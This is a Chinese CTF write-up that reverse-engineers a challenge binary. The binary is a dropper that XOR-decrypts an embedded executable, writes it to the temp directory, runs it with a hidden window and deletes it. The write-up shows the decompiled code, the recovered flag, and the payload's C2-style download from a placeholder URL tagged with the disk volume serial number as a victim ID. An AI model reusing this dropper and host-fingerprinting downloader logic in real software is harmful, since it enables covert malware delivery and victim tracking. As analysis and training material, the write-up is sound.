[香山杯 2023]URL从哪儿来

程序主要功能

程序流程

从自身资源中找到"e_ou",从中提取一段加密后的数据,然后对数据进行解密(简单异或),将解密后的数据放入一个临时文件(exe)中,然后运行这个临时可执行文件,最后删除临时文件清除痕迹

程序架构

Dropper(投递器)+Payload(有效载荷)

前者是一个轻量级投递器,负责从自身资源中解密并释放真正的恶意程序(Payload)到磁盘并执行

这种程序在现代杀毒软件的行为分析面前几乎无效,不过还是能过一些传统的特征码杀毒

代码分步详解

  ModuleHandleW = GetModuleHandleW(0);
  hResInfo = FindResourceW(ModuleHandleW, (LPCWSTR)0x65, L"e_ou");

获取当前程序(0)的模块句柄(基址)

在当前程序中查找资源名为"e_ou",资源 ID 为 0x65

  v4 = GetModuleHandleW(0);
  hResData = LoadResource(v4, hResInfo);
  v7 = LockResource(hResData);

将资源加载到当前程序内存,并且返回指针

  v5 = GetModuleHandleW(0);
  dwSize = SizeofResource(v5, hResInfo);
  lpAddress = VirtualAlloc(0, dwSize, 0x1000u, 4u);
  if ( !lpAddress )
    return 1;

获取资源字节大小,分配指定大小的的内存地址,如果分配不成功,则退出程序返回错误代码 1

  for ( i = 0; i < dwSize; ++i )
  {
    if ( v7[i] && v7[i] != 120 )
      lpAddress[i] = v7[i] ^ 0x78;
    else
      lpAddress[i] = v7[i];
  }

循环遍历每个字节,如果不为 120(0x78) 则异或 0x78

  if ( !GetTempPathA(0x104u, Buffer) )
    return 1;

获取临时目录,将系统临时目录路径返回到 Buffer

例如C:\Users\Alice\AppData\Local\Temp\

获取失败结束程序返回 1

  if ( !GetTempFileNameA(Buffer, "ou.exe", 0, TempFileName) )
    return 1;

获取临时文件目录,在 Buffer 目录中创建,文件前缀为"ou.exe",并且由系统随机生成一个唯一编号,最后将完整路径返回到 TempFileName 中

获取失败结束程序返回 1

  Stream = fopen(TempFileName, "wb");
  if ( !Stream )
    return 1;

以二进制格式打开写入文件("wb")为 Stream

打开失败结束程序返回 1

  if ( fwrite(lpAddress, 1u, dwSize, Stream) == dwSize )

将 IpAddress 地址中的所有元素写入 Stream 中,每个元素中包含一个字节,最后返回写入的元素个数,如果和总字节数相同代表写入成功

{
    fclose(Stream);
    VirtualFree(lpAddress, 0, 0x8000u);

关闭文件

释放 IpAddress 地址的内存

    memset(&StartupInfo, 0, sizeof(StartupInfo));
    memset(&ProcessInformation, 0, sizeof(ProcessInformation));

清空了两个结构体

在程序开头有结构体声明

_STARTUPINFOA结构体:用于新进程的窗口设置

_PROCESS_INFORMATION结构体:用于新进程的信息

    StartupInfo.cb = 68;
    GetStartupInfoA(&StartupInfo);
    StartupInfo.wShowWindow = 0;

设置 StartupInfo 结构体大小为 68

获取当前进程的启动信息

设置新进程的窗口隐藏

    CreateProcessA(TempFileName, 0, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation);

CreateProcessA 创建新进程,执行路径为 TempFileName

将 StartupInfo 进程窗口设置作为参数传入

将 ProcessInformation 进程信息作为参数传入

    CloseHandle(ProcessInformation.hProcess);
    CloseHandle(ProcessInformation.hThread);

关闭新进程和句柄

    DeleteFileA(TempFileName);
    return 0;
  }

删除临时文件 TempFileName

正常结束程序

  else
  {
    fclose(Stream);
    return 1;
  }

写入失败分支,关闭文件,结束程序返回报错 1

解题步骤

他的主要代码都解密在 payload 中,这个 Dropper 没什么有用信息,先动调找到他的 payload

在生成路径的代码中可以查看到 payload 的路径

这里发现文件名是 ou.XXXX.tmp,但是我们明明记得前面生成临时文件的时候,前缀是"ou.exe"

原因是 Windows API 的工作机制,通过查阅 Microsoft 文档

https://learn.microsoft.com/zh-cn/windows/win32/api/fileapi/nf-fileapi-gettempfilenamea

从文档中可以得知:

IpPerfixString,最多只取前 3 个字符,"ou.exe"取前 3 个字符"ou."

后面跟随的 5EC 是生成的唯一编号,tmp 则是固定后缀

但是这个是不影响程序运行的,因为他的内容是完整的 PE 文件(exe),

而 CreateProcessA 在运行的时候不依赖扩展名,而是通过检查文件头(MZ...PE)

然后注意到 ou.5EC.tmp 现在是 0 字节,这是因为还没有执行填数据的代码,动调接着运行

运行到关闭文件后,程序变成了 106KB

查看 payload

IDA 分析

  v3[0] = 120;
  v3[1] = 139;
  v3[2] = 150;
  v3[3] = 134;
  v3[4] = 120;
  v3[5] = 81;
  v3[6] = 145;
  v3[7] = 80;
  v3[8] = 108;
  v3[9] = 98;
  v3[10] = 119;
  v3[11] = 83;
  v3[12] = 108;
  v3[13] = 136;
  v3[14] = 99;
  v3[15] = 80;
  v3[16] = 120;
  v3[17] = 113;
  v3[18] = 78;
  v3[19] = 80;
  v3[20] = 107;
  v3[21] = 152;
  v3[22] = 119;
  v3[23] = 83;
  v3[24] = 106;
  v3[25] = 114;
  v3[26] = 119;
  v3[27] = 151;
  v3[28] = 108;
  v3[29] = 139;
  v3[30] = 119;
  v3[31] = 146;
  v3[32] = 108;
  v3[33] = 152;
  v3[34] = 99;
  v3[35] = 80;
  v3[36] = 109;
  v3[37] = 113;
  v3[38] = 78;
  v3[39] = 81;
  v3[40] = 108;
  v3[41] = 98;
  v3[42] = 119;
  v3[43] = 150;
  v3[44] = 108;
  v3[45] = 152;
  v3[46] = 95;
  v3[47] = 80;
  v3[48] = 107;
  v3[49] = 114;
  v3[50] = 129;
  v3[51] = 81;
  v3[52] = 108;
  v3[53] = 136;
  v3[54] = 100;
  v3[55] = 87;
  v14 = 56;
  Block = malloc(0x39u);
  if ( !Block )
    return 1;
  memset(Block, 0, v14 + 1);
  for ( i = 0; i < v14; ++i )
    *((_BYTE *)Block + i) = LOBYTE(v3[i]) - 30;
  v13 = (void *)sub_401110(Block);
  free(Block);
  v34[0] = -62;
  v34[1] = 21;
  v34[2] = 103;
  v34[3] = 100;
  v34[4] = 22;
  v34[5] = 72;
  v34[6] = 118;
  v34[7] = 18;
  v34[8] = -15;
  v34[9] = 67;
  v34[10] = -62;
  v34[11] = 66;
  v34[12] = -97;
  v34[13] = -15;
  v34[14] = -36;
  v34[15] = 34;
  v34[16] = 113;
  v34[17] = 54;
  v34[18] = 107;
  v34[19] = 126;
  v34[20] = -126;
  v34[21] = 11;
  v34[22] = -48;
  v34[23] = 61;
  v34[24] = -76;
  v34[25] = 0;
  v34[26] = 58;
  v34[27] = -11;
  v34[28] = 17;
  v34[29] = -32;
  v34[30] = -127;
  v34[31] = -36;
  v34[32] = -126;
  v34[33] = 72;
  memset(v28, 0, sizeof(v28));
  v29 = 0;
  v30 = 0;
  v19 = (const char *)v13;
  v8 = (int)v13 + 1;
  v19 += strlen(v19);
  v7 = ++v19 - ((_BYTE *)v13 + 1);
  sub_401470(v34, 34, v13, v7, v28);
  free(v13);
  v6 = sub_4015C0();
  *(_DWORD *)v31 = 0;
  v32 = 0;
  v33 = 0;
  snprintf(v31, 9u, "%08X", v6);
  memset(szUrl, 0, 0x2Bu);
  v12 = (char *)v28;
  v17 = szUrl;
  do
  {
    v23 = *v12;
    *v17 = v23;
    ++v12;
    ++v17;
  }
  while ( v23 );
  v18 = v31;
  v10 = v31;
  v18 += strlen(v18);
  ++v18;
  v5 = v31;
  v4 = v18 - v31;
  v16 = &v26;
  while ( *++v16 )
    ;
  qmemcpy(v16, v5, v4);
  hInternet = InternetOpenA("MyApp", 1u, 0, 0, 0);
  if ( hInternet )
  {
    hFile = InternetOpenUrlA(hInternet, szUrl, 0, 0, 0x80000000, 0);
    if ( hFile )
    {
      while ( InternetReadFile(hFile, Buffer, 0x3FFu, &dwNumberOfBytesRead) && dwNumberOfBytesRead )
      {
        v9 = dwNumberOfBytesRead;
        if ( dwNumberOfBytesRead >= 0x400 )
          __report_rangecheckfailure();
        Buffer[v9] = 0;
        sub_401040("%s", Buffer);
      }
      InternetCloseHandle(hFile);
      InternetCloseHandle(hInternet);
      return 0;
    }
    else
    {
      LastError = GetLastError();
      sub_401040("InternetOpenUrl failed: %d\n", LastError);
      InternetCloseHandle(hInternet);
      return 1;
    }
  }
  else
  {
    v1 = GetLastError();
    sub_401040("InternetOpen failed: %d\n", v1);
    return 1;
  }

打开引入眼帘是两段数据 v3v34,分别用于两段加密,通过查看加密函数

第一段

v3 的值-30

标准 base64 解密算法

第二段

RC4 算法,但是发现 key 是第一段中 base64 解密后的 v3

最简单的方式是动调

flag{6469616e-6369-626f-7169-746170617761}

到这里出来 flag CTF 的部分就结束了

下面是对程序的行为进行分析

额外内容

运行到 RC4 解密,查看解密结果 v28

http://how.did.i.get.decrypted?id=

然后 v6 = sub_8315C0();

调用 API :GetVolumeInformationA 获取硬盘信息(C 盘)

并返回 VolumeSerialNumber

VolumeSerialNumber(卷序列号):

Windows 在格式化磁盘分区时随机生成的一个 32 位十六进制数。

特点:

  • 同一硬盘重新格式化后会改变;
  • 不同机器几乎不可能相同;
  • 不依赖硬件(如 MAC、CPU),仅与磁盘格式化历史有关;
  • 普通用户无法直接修改(需低级工具)。

在这个程序中用于区分感染主机的唯一 ID

这里看到返回了我的 C 盘卷序列号到 v6

然后 v6 的值传到了 v31

这个程序的栈溢出用的非常多,比如 v28 有 32 个字节却填充了 34 个字节,v32 有 4 个字节却填充了 8 个字节

对照栈地址画出下面的

然后后面的逻辑将 url 和卷序列号拼接到了 szUrl 的地址

InternetOpenA 初始化连接

InternetOpenUrlA 打开远程 URL

InternetReadFile 下载数据

InternetCloseHandle 清理资源

两个 else 分支用于处理错误

在实际执行的时候也会跳转到错误分支

因为http://how.did.i.get.decrypted?id=FCF33B49不是一个真实网址

总结

该程序是通过轻量级投递器,在系统临时文件目录释放一个带有主机指纹识别功能的 HTTP 下载器,试图通过 C 盘卷序列号唯一标识受害者,并向 C2 服务器请求指令。

通过动调可得到释放的临时文件路径,再动态调试或 EXP 可得到 flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值